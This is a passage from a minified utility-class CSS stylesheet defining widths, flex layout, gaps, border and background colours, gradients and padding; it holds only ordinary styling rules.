alc(var(--spacing)*3)}.w-3\.5{width:calc(var(--spacing)*3.5)}.w-4{width:calc(var(--spacing)*4)}.w-5{width:calc(var(--spacing)*5)}.w-6{width:calc(var(--spacing)*6)}.w-7{width:calc(var(--spacing)*7)}.w-8{width:calc(var(--spacing)*8)}.w-9{width:calc(var(--spacing)*9)}.w-10{width:calc(var(--spacing)*10)}.w-12{width:calc(var(--spacing)*12)}.w-16{width:calc(var(--spacing)*16)}.w-20{width:calc(var(--spacing)*20)}.w-24{width:calc(var(--spacing)*24)}.w-28{width:calc(var(--spacing)*28)}.w-32{width:calc(var(--spacing)*32)}.w-36{width:calc(var(--spacing)*36)}.w-40{width:calc(var(--spacing)*40)}.w-44{width:calc(var(--spacing)*44)}.w-48{width:calc(var(--spacing)*48)}.w-52{width:calc(var(--spacing)*52)}.w-56{width:calc(var(--spacing)*56)}.w-64{width:calc(var(--spacing)*64)}.w-96{width:calc(var(--spacing)*96)}.w-\[280px\]{width:280px}.w-fit{width:fit-content}.w-full{width:100%}.w-screen{width:100vw}.max-w-2xl{max-width:var(--container-2xl)}.max-w-3xl{max-width:var(--container-3xl)}.max-w-4xl{max-width:var(--container-4xl)}.max-w-\[96px\]{max-width:96px}.max-w-\[100px\]{max-width:100px}.max-w-\[120px\]{max-width:120px}.max-w-\[140px\]{max-width:140px}.max-w-\[180px\]{max-width:180px}.max-w-\[200px\]{max-width:200px}.max-w-\[250px\]{max-width:250px}.max-w-\[calc\(100\%-2rem\)\]{max-width:calc(100% - 2rem)}.max-w-lg{max-width:var(--container-lg)}.max-w-md{max-width:var(--container-md)}.max-w-none{max-width:none}.max-w-sm{max-width:var(--container-sm)}.max-w-xs{max-width:var(--container-xs)}.min-w-0{min-width:calc(var(--spacing)*0)}.min-w-48{min-width:calc(var(--spacing)*48)}.min-w-\[8rem\]{min-width:8rem}.min-w-\[60px\]{min-width:60px}.min-w-\[120px\]{min-width:120px}.min-w-\[1024px\]{min-width:1024px}.flex-1{flex:1}.flex-shrink-0{flex-shrink:0}.shrink{flex-shrink:1}.shrink-0{flex-shrink:0}.grow{flex-grow:1}.caption-bottom{caption-side:bottom}.border-collapse{border-collapse:collapse}.-translate-x-1\/2{--tw-translate-x: -50% ;translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-x-0{--tw-translate-x:calc(var(--spacing)*0);translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-x-1\/2{--tw-translate-x: 50% ;translate:var(--tw-translate-x)var(--tw-translate-y)}.-translate-y-1\/2{--tw-translate-y: -50% ;translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-y-0{--tw-translate-y:calc(var(--spacing)*0);translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-none{translate:none}.scale-3d{scale:var(--tw-scale-x)var(--tw-scale-y)var(--tw-scale-z)}.scale-\[0\.98\]{scale:.98}.transform{transform:var(--tw-rotate-x,)var(--tw-rotate-y,)var(--tw-rotate-z,)var(--tw-skew-x,)var(--tw-skew-y,)}.animate-spin{animation:var(--animate-spin)}.cursor-default{cursor:default}.cursor-grab{cursor:grab}.cursor-pointer{cursor:pointer}.touch-pinch-zoom{--tw-pinch-zoom:pinch-zoom;touch-action:var(--tw-pan-x,)var(--tw-pan-y,)var(--tw-pinch-zoom,)}.touch-none{touch-action:none}.resize{resize:both}.resize-none{resize:none}.resize-y{resize:vertical}.list-inside{list-style-position:inside}.list-decimal{list-style-type:decimal}.list-disc{list-style-type:disc}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.grid-cols-\[40px_40px_1fr_80px_80px_80px_60px\]{grid-template-columns:40px 40px 1fr 80px 80px 80px 60px}.flex-col{flex-direction:column}.flex-col-reverse{flex-direction:column-reverse}.flex-row{flex-direction:row}.flex-wrap{flex-wrap:wrap}.items-center{align-items:center}.items-end{align-items:flex-end}.items-start{align-items:flex-start}.justify-between{justify-content:space-between}.justify-center{justify-content:center}.justify-end{justify-content:flex-end}.gap-0{gap:calc(var(--spacing)*0)}.gap-0\.5{gap:calc(var(--spacing)*.5)}.gap-1{gap:calc(var(--spacing)*1)}.gap-1\.5{gap:calc(var(--spacing)*1.5)}.gap-2{gap:calc(var(--spacing)*2)}.gap-3{gap:calc(var(--spacing)*3)}.gap-4{gap:calc(var(--spacing)*4)}.gap-5{gap:calc(var(--spacing)*5)}.gap-6{gap:calc(var(--spacing)*6)}.gap-8{gap:calc(var(--spacing)*8)}:where(.space-y-0>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*0)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*0)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-1>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*1)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*1)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-1\.5>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*1.5)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*1.5)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-2>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*2)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*2)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-3>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*3)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*3)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-4>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*4)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*4)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-6>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*6)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*6)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-8>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*8)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*8)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-reverse>:not(:last-child)){--tw-space-y-reverse:1}.gap-x-8{column-gap:calc(var(--spacing)*8)}:where(.space-x-reverse>:not(:last-child)){--tw-space-x-reverse:1}.gap-y-4{row-gap:calc(var(--spacing)*4)}:where(.divide-x>:not(:last-child)){--tw-divide-x-reverse:0;border-inline-style:var(--tw-border-style);border-inline-start-width:calc(1px*var(--tw-divide-x-reverse));border-inline-end-width:calc(1px*calc(1 - var(--tw-divide-x-reverse)))}:where(.divide-y>:not(:last-child)){--tw-divide-y-reverse:0;border-bottom-style:var(--tw-border-style);border-top-style:var(--tw-border-style);border-top-width:calc(1px*var(--tw-divide-y-reverse));border-bottom-width:calc(1px*calc(1 - var(--tw-divide-y-reverse)))}:where(.divide-y-reverse>:not(:last-child)){--tw-divide-y-reverse:1}:where(.divide-gray-700\/50>:not(:last-child)){border-color:#36415380}@supports (color:color-mix(in lab,red,red)){:where(.divide-gray-700\/50>:not(:last-child)){border-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}:where(.divide-white\/5>:not(:last-child)){border-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){:where(.divide-white\/5>:not(:last-child)){border-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.truncate{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.rounded{border-radius:.25rem}.rounded-2xl{border-radius:var(--radius-2xl)}.rounded-full{border-radius:3.40282e38px}.rounded-lg{border-radius:var(--radius-lg)}.rounded-md{border-radius:var(--radius-md)}.rounded-none{border-radius:0}.rounded-sm{border-radius:var(--radius-sm)}.rounded-xl{border-radius:var(--radius-xl)}.rounded-s{border-start-start-radius:.25rem;border-end-start-radius:.25rem}.rounded-ss{border-start-start-radius:.25rem}.rounded-e{border-start-end-radius:.25rem;border-end-end-radius:.25rem}.rounded-se{border-start-end-radius:.25rem}.rounded-ee{border-end-end-radius:.25rem}.rounded-es{border-end-start-radius:.25rem}.rounded-t{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.rounded-l{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.rounded-tl{border-top-left-radius:.25rem}.rounded-r{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.rounded-r-md{border-top-right-radius:var(--radius-md);border-bottom-right-radius:var(--radius-md)}.rounded-tr{border-top-right-radius:.25rem}.rounded-b{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.rounded-br{border-bottom-right-radius:.25rem}.rounded-bl{border-bottom-left-radius:.25rem}.border{border-style:var(--tw-border-style);border-width:1px}.border-0{border-style:var(--tw-border-style);border-width:0}.border-2{border-style:var(--tw-border-style);border-width:2px}.border-x{border-inline-style:var(--tw-border-style);border-inline-width:1px}.border-y{border-block-style:var(--tw-border-style);border-block-width:1px}.border-s{border-inline-start-style:var(--tw-border-style);border-inline-start-width:1px}.border-e{border-inline-end-style:var(--tw-border-style);border-inline-end-width:1px}.border-t{border-top-style:var(--tw-border-style);border-top-width:1px}.border-r{border-right-style:var(--tw-border-style);border-right-width:1px}.border-b{border-bottom-style:var(--tw-border-style);border-bottom-width:1px}.border-l{border-left-style:var(--tw-border-style);border-left-width:1px}.border-dashed{--tw-border-style:dashed;border-style:dashed}.border-\[\#07C160\]{border-color:#07c160}.border-\[\#07C160\]\/20{border-color:#07c16033}.border-\[\#07C160\]\/30{border-color:#07c1604d}.border-\[\#38bdac\]{border-color:#38bdac}.border-\[\#38bdac\]\/20{border-color:#38bdac33}.border-\[\#38bdac\]\/30{border-color:#38bdac4d}.border-\[\#38bdac\]\/40{border-color:#38bdac66}.border-\[\#38bdac\]\/50{border-color:#38bdac80}.border-amber-400\/60{border-color:#fcbb0099}@supports (color:color-mix(in lab,red,red)){.border-amber-400\/60{border-color:color-mix(in oklab,var(--color-amber-400)60%,transparent)}}.border-amber-500\/20{border-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/20{border-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.border-amber-500\/30{border-color:#f99c004d}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/30{border-color:color-mix(in oklab,var(--color-amber-500)30%,transparent)}}.border-amber-500\/40{border-color:#f99c0066}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/40{border-color:color-mix(in oklab,var(--color-amber-500)40%,transparent)}}.border-amber-500\/50{border-color:#f99c0080}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/50{border-color:color-mix(in oklab,var(--color-amber-500)50%,transparent)}}.border-blue-500\/30{border-color:#3080ff4d}@supports (color:color-mix(in lab,red,red)){.border-blue-500\/30{border-color:color-mix(in oklab,var(--color-blue-500)30%,transparent)}}.border-blue-500\/40{border-color:#3080ff66}@supports (color:color-mix(in lab,red,red)){.border-blue-500\/40{border-color:color-mix(in oklab,var(--color-blue-500)40%,transparent)}}.border-blue-500\/50{border-color:#3080ff80}@supports (color:color-mix(in lab,red,red)){.border-blue-500\/50{border-color:color-mix(in oklab,var(--color-blue-500)50%,transparent)}}.border-cyan-500\/30{border-color:#00b7d74d}@supports (color:color-mix(in lab,red,red)){.border-cyan-500\/30{border-color:color-mix(in oklab,var(--color-cyan-500)30%,transparent)}}.border-cyan-500\/40{border-color:#00b7d766}@supports (color:color-mix(in lab,red,red)){.border-cyan-500\/40{border-color:color-mix(in oklab,var(--color-cyan-500)40%,transparent)}}.border-gray-500{border-color:var(--color-gray-500)}.border-gray-600{border-color:var(--color-gray-600)}.border-gray-700{border-color:var(--color-gray-700)}.border-gray-700\/30{border-color:#3641534d}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/30{border-color:color-mix(in oklab,var(--color-gray-700)30%,transparent)}}.border-gray-700\/40{border-color:#36415366}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/40{border-color:color-mix(in oklab,var(--color-gray-700)40%,transparent)}}.border-gray-700\/50{border-color:#36415380}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/50{border-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}.border-gray-700\/60{border-color:#36415399}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/60{border-color:color-mix(in oklab,var(--color-gray-700)60%,transparent)}}.border-green-500\/30{border-color:#00c7584d}@supports (color:color-mix(in lab,red,red)){.border-green-500\/30{border-color:color-mix(in oklab,var(--color-green-500)30%,transparent)}}.border-green-500\/40{border-color:#00c75866}@supports (color:color-mix(in lab,red,red)){.border-green-500\/40{border-color:color-mix(in oklab,var(--color-green-500)40%,transparent)}}.border-inherit{border-color:inherit}.border-orange-500\/20{border-color:#fe6e0033}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/20{border-color:color-mix(in oklab,var(--color-orange-500)20%,transparent)}}.border-orange-500\/30{border-color:#fe6e004d}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/30{border-color:color-mix(in oklab,var(--color-orange-500)30%,transparent)}}.border-orange-500\/40{border-color:#fe6e0066}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/40{border-color:color-mix(in oklab,var(--color-orange-500)40%,transparent)}}.border-orange-500\/50{border-color:#fe6e0080}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/50{border-color:color-mix(in oklab,var(--color-orange-500)50%,transparent)}}.border-purple-500\/20{border-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.border-purple-500\/20{border-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.border-purple-500\/30{border-color:#ac4bff4d}@supports (color:color-mix(in lab,red,red)){.border-purple-500\/30{border-color:color-mix(in oklab,var(--color-purple-500)30%,transparent)}}.border-purple-500\/40{border-color:#ac4bff66}@supports (color:color-mix(in lab,red,red)){.border-purple-500\/40{border-color:color-mix(in oklab,var(--color-purple-500)40%,transparent)}}.border-red-500{border-color:var(--color-red-500)}.border-red-500\/20{border-color:#fb2c3633}@supports (color:color-mix(in lab,red,red)){.border-red-500\/20{border-color:color-mix(in oklab,var(--color-red-500)20%,transparent)}}.border-red-500\/30{border-color:#fb2c364d}@supports (color:color-mix(in lab,red,red)){.border-red-500\/30{border-color:color-mix(in oklab,var(--color-red-500)30%,transparent)}}.border-red-500\/50{border-color:#fb2c3680}@supports (color:color-mix(in lab,red,red)){.border-red-500\/50{border-color:color-mix(in oklab,var(--color-red-500)50%,transparent)}}.border-red-600\/50{border-color:#e4001480}@supports (color:color-mix(in lab,red,red)){.border-red-600\/50{border-color:color-mix(in oklab,var(--color-red-600)50%,transparent)}}.border-transparent{border-color:#0000}.border-white\/5{border-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){.border-white\/5{border-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.border-white\/10{border-color:#ffffff1a}@supports (color:color-mix(in lab,red,red)){.border-white\/10{border-color:color-mix(in oklab,var(--color-white)10%,transparent)}}.border-white\/20{border-color:#fff3}@supports (color:color-mix(in lab,red,red)){.border-white\/20{border-color:color-mix(in oklab,var(--color-white)20%,transparent)}}.border-yellow-500\/30{border-color:#edb2004d}@supports (color:color-mix(in lab,red,red)){.border-yellow-500\/30{border-color:color-mix(in oklab,var(--color-yellow-500)30%,transparent)}}.border-yellow-500\/40{border-color:#edb20066}@supports (color:color-mix(in lab,red,red)){.border-yellow-500\/40{border-color:color-mix(in oklab,var(--color-yellow-500)40%,transparent)}}.bg-\[\#0a1628\]{background-color:#0a1628}.bg-\[\#0a1628\]\/50{background-color:#0a162880}.bg-\[\#0a1628\]\/60{background-color:#0a162899}.bg-\[\#0b1828\]{background-color:#0b1828}.bg-\[\#0f2137\]{background-color:#0f2137}.bg-\[\#00CED1\]{background-color:#00ced1}.bg-\[\#1C1C1E\]{background-color:#1c1c1e}.bg-\[\#07C160\]{background-color:#07c160}.bg-\[\#07C160\]\/5{background-color:#07c1600d}.bg-\[\#07C160\]\/10{background-color:#07c1601a}.bg-\[\#38bdac\]{background-color:#38bdac}.bg-\[\#38bdac\]\/5{background-color:#38bdac0d}.bg-\[\#38bdac\]\/10{background-color:#38bdac1a}.bg-\[\#38bdac\]\/15{background-color:#38bdac26}.bg-\[\#38bdac\]\/20{background-color:#38bdac33}.bg-\[\#38bdac\]\/30{background-color:#38bdac4d}.bg-\[\#38bdac\]\/60{background-color:#38bdac99}.bg-\[\#38bdac\]\/80{background-color:#38bdaccc}.bg-\[\#050c18\]{background-color:#050c18}.bg-\[\#162840\]{background-color:#162840}.bg-amber-500{background-color:var(--color-amber-500)}.bg-amber-500\/5{background-color:#f99c000d}@supports (color:color-mix(in lab,red,red)){.bg-amber-500\/5{background-color:color-mix(in oklab,var(--color-amber-500)5%,transparent)}}.bg-amber-500\/10{background-color:#f99c001a}@supports (color:color-mix(in lab,red,red)){.bg-amber-500\/10{background-color:color-mix(in oklab,var(--color-amber-500)10%,transparent)}}.bg-amber-500\/20{background-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.bg-amber-500\/20{background-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.bg-black{background-color:var(--color-black)}.bg-black\/30{background-color:#0000004d}@supports (color:color-mix(in lab,red,red)){.bg-black\/30{background-color:color-mix(in oklab,var(--color-black)30%,transparent)}}.bg-black\/50{background-color:#00000080}@supports (color:color-mix(in lab,red,red)){.bg-black\/50{background-color:color-mix(in oklab,var(--color-black)50%,transparent)}}.bg-black\/60{background-color:#0009}@supports (color:color-mix(in lab,red,red)){.bg-black\/60{background-color:color-mix(in oklab,var(--color-black)60%,transparent)}}.bg-black\/90{background-color:#000000e6}@supports (color:color-mix(in lab,red,red)){.bg-black\/90{background-color:color-mix(in oklab,var(--color-black)90%,transparent)}}.bg-blue-500\/5{background-color:#3080ff0d}@supports (color:color-mix(in lab,red,red)){.bg-blue-500\/5{background-color:color-mix(in oklab,var(--color-blue-500)5%,transparent)}}.bg-blue-500\/10{background-color:#3080ff1a}@supports (color:color-mix(in lab,red,red)){.bg-blue-500\/10{background-color:color-mix(in oklab,var(--color-blue-500)10%,transparent)}}.bg-blue-500\/20{background-color:#3080ff33}@supports (color:color-mix(in lab,red,red)){.bg-blue-500\/20{background-color:color-mix(in oklab,var(--color-blue-500)20%,transparent)}}.bg-cyan-500{background-color:var(--color-cyan-500)}.bg-cyan-500\/20{background-color:#00b7d733}@supports (color:color-mix(in lab,red,red)){.bg-cyan-500\/20{background-color:color-mix(in oklab,var(--color-cyan-500)20%,transparent)}}.bg-emerald-500\/20{background-color:#00bb7f33}@supports (color:color-mix(in lab,red,red)){.bg-emerald-500\/20{background-color:color-mix(in oklab,var(--color-emerald-500)20%,transparent)}}.bg-gray-500{background-color:var(--color-gray-500)}.bg-gray-500\/20{background-color:#6a728233}@supports (color:color-mix(in lab,red,red)){.bg-gray-500\/20{background-color:color-mix(in oklab,var(--color-gray-500)20%,transparent)}}.bg-gray-600{background-color:var(--color-gray-600)}.bg-gray-600\/20{background-color:#4a556533}@supports (color:color-mix(in lab,red,red)){.bg-gray-600\/20{background-color:color-mix(in oklab,var(--color-gray-600)20%,transparent)}}.bg-gray-600\/50{background-color:#4a556580}@supports (color:color-mix(in lab,red,red)){.bg-gray-600\/50{background-color:color-mix(in oklab,var(--color-gray-600)50%,transparent)}}.bg-gray-700{background-color:var(--color-gray-700)}.bg-gray-700\/50{background-color:#36415380}@supports (color:color-mix(in lab,red,red)){.bg-gray-700\/50{background-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}.bg-green-500{background-color:var(--color-green-500)}.bg-green-500\/20{background-color:#00c75833}@supports (color:color-mix(in lab,red,red)){.bg-green-500\/20{background-color:color-mix(in oklab,var(--color-green-500)20%,transparent)}}.bg-green-600{background-color:var(--color-green-600)}.bg-orange-500{background-color:var(--color-orange-500)}.bg-orange-500\/10{background-color:#fe6e001a}@supports (color:color-mix(in lab,red,red)){.bg-orange-500\/10{background-color:color-mix(in oklab,var(--color-orange-500)10%,transparent)}}.bg-orange-500\/20{background-color:#fe6e0033}@supports (color:color-mix(in lab,red,red)){.bg-orange-500\/20{background-color:color-mix(in oklab,var(--color-orange-500)20%,transparent)}}.bg-purple-500\/20{background-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.bg-purple-500\/20{background-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.bg-red-500\/10{background-color:#fb2c361a}@supports (color:color-mix(in lab,red,red)){.bg-red-500\/10{background-color:color-mix(in oklab,var(--color-red-500)10%,transparent)}}.bg-red-500\/20{background-color:#fb2c3633}@supports (color:color-mix(in lab,red,red)){.bg-red-500\/20{background-color:color-mix(in oklab,var(--color-red-500)20%,transparent)}}.bg-red-600{background-color:var(--color-red-600)}.bg-red-900\/80{background-color:#82181acc}@supports (color:color-mix(in lab,red,red)){.bg-red-900\/80{background-color:color-mix(in oklab,var(--color-red-900)80%,transparent)}}.bg-transparent{background-color:#0000}.bg-white{background-color:var(--color-white)}.bg-white\/5{background-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){.bg-white\/5{background-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.bg-white\/10{background-color:#ffffff1a}@supports (color:color-mix(in lab,red,red)){.bg-white\/10{background-color:color-mix(in oklab,var(--color-white)10%,transparent)}}.bg-white\/20{background-color:#fff3}@supports (color:color-mix(in lab,red,red)){.bg-white\/20{background-color:color-mix(in oklab,var(--color-white)20%,transparent)}}.bg-yellow-500\/20{background-color:#edb20033}@supports (color:color-mix(in lab,red,red)){.bg-yellow-500\/20{background-color:color-mix(in oklab,var(--color-yellow-500)20%,transparent)}}.bg-gradient-to-br{--tw-gradient-position:to bottom right in oklab;background-image:linear-gradient(var(--tw-gradient-stops))}.bg-gradient-to-r{--tw-gradient-position:to right in oklab;background-image:linear-gradient(var(--tw-gradient-stops))}.from-\[\#0f2137\]{--tw-gradient-from:#0f2137;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-\[\#00CED1\]{--tw-gradient-from:#00ced1;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-\[\#38bdac\]\/10{--tw-gradient-from:oklab(72.378% -.11483 -.0053193/.1);--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-blue-500\/20{--tw-gradient-from:#3080ff33}@supports (color:color-mix(in lab,red,red)){.from-blue-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-blue-500)20%,transparent)}}.from-blue-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-cyan-500\/20{--tw-gradient-from:#00b7d733}@supports (color:color-mix(in lab,red,red)){.from-cyan-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-cyan-500)20%,transparent)}}.from-cyan-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-green-500\/20{--tw-gradient-from:#00c75833}@supports (color:color-mix(in lab,red,red)){.from-green-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-green-500)20%,transparent)}}.from-green-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-purple-500\/20{--tw-gradient-from:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.from-purple-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.from-purple-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-yellow-500\/20{--tw-gradient-from:#edb20033}@supports (color:color-mix(in lab,red,red)){.from-yellow-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-yellow-500)20%,transparent)}}.from-yellow-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.via-\[\#38bdac\]\/30{--tw-gradient-via:oklab(72.378% -.11483 -.0053193/.3);--tw-gradient-via-stops:var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-via)var(--tw-gradient-via-position),var(--tw-gradient-to)var(--tw-gradient-to-position);--tw-gradient-stops:var(--tw-gradient-via-stops)}.to-\[\#0f2137\]{--tw-gradient-to:#0f2137;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-\[\#20B2AA\]{--tw-gradient-to:#20b2aa;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-\[\#162d4a\]{--tw-gradient-to:#162d4a;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-amber-500\/20{--tw-gradient-to:#f99c0033}@supports (color:color-mix(in lab,red,red)){.to-amber-500\/20{--tw-gradient-to:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.to-amber-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-cyan-500\/5{--tw-gradient-to:#00b7d70d}@supports (color:color-mix(in lab,red,red)){.to-cyan-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-cyan-500)5%,transparent)}}.to-cyan-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-green-500\/5{--tw-gradient-to:#00c7580d}@supports (color:color-mix(in lab,red,red)){.to-green-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-green-500)5%,transparent)}}.to-green-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-purple-500\/5{--tw-gradient-to:#ac4bff0d}@supports (color:color-mix(in lab,red,red)){.to-purple-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-purple-500)5%,transparent)}}.to-purple-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-yellow-500\/5{--tw-gradient-to:#edb2000d}@supports (color:color-mix(in lab,red,red)){.to-yellow-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-yellow-500)5%,transparent)}}.to-yellow-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.bg-repeat{background-repeat:repeat}.mask-no-clip{-webkit-mask-clip:no-clip;mask-clip:no-clip}.mask-repeat{-webkit-mask-repeat:repeat;mask-repeat:repeat}.fill-amber-400{fill:var(--color-amber-400)}.fill-current{fill:currentColor}.object-cover{object-fit:cover}.p-0{padding:calc(var(--spacing)*0)}.p-1{padding:calc(var(--spacing)*1)}.p-2{padding:calc(var(--spacing)*2)}.p-2\.5{padding:calc(var(--spacing)*2.5)}.p-3{padding:calc(var(--spacing)*3)}.p-4{padding:calc(var(--spacing)*4)}.p-5{padding:calc(var(--spacing)*5)}.p-6{padding:calc(var(--spacing)*6)}.p-8{padding:calc(var(--spacing)*8)}.px-0{padding-inline:calc(var(--spacing)*0)}.px-1{padding-inline:calc(var(--spacing)*1)}.px-1\.5{padding-inline:calc(var(--spacing)*1.5)}.px-2{padding-inline:calc(var(--spacing)*2)}.px-3{padding-inline:calc(var(--spacing)*3)}.px-4{padding-inline:calc(var(--spacing)*4)}.px-5{padding-inline:calc(var(--spacing)*5)}.px-6{padding-inline:calc(var(--spacing)*6)}.py-0\.5{padding-block:calc(var(--spacing)*.5)}.py-1{padding-block:calc(var(--spacing)*1)}.py-1\.5{padding-block:calc(var(--spacing)*1.5)}.py-2{padding-block:calc(var(--spacing)*2)}.py-2\.5{padding-block:calc(var(--spacing)*2.5)}.py-3{padding-block:calc(var(--spacing)*3)}.py-4{padding-block:calc(var(--spacing)*4)}.py-5{padding-block:calc(var(--spacing)*5)}.py-6{padding-block:calc(var(--spacing)*6)}.py-8{padding-block:calc(var(--spacing)*8)}.py-10{padding-block:calc(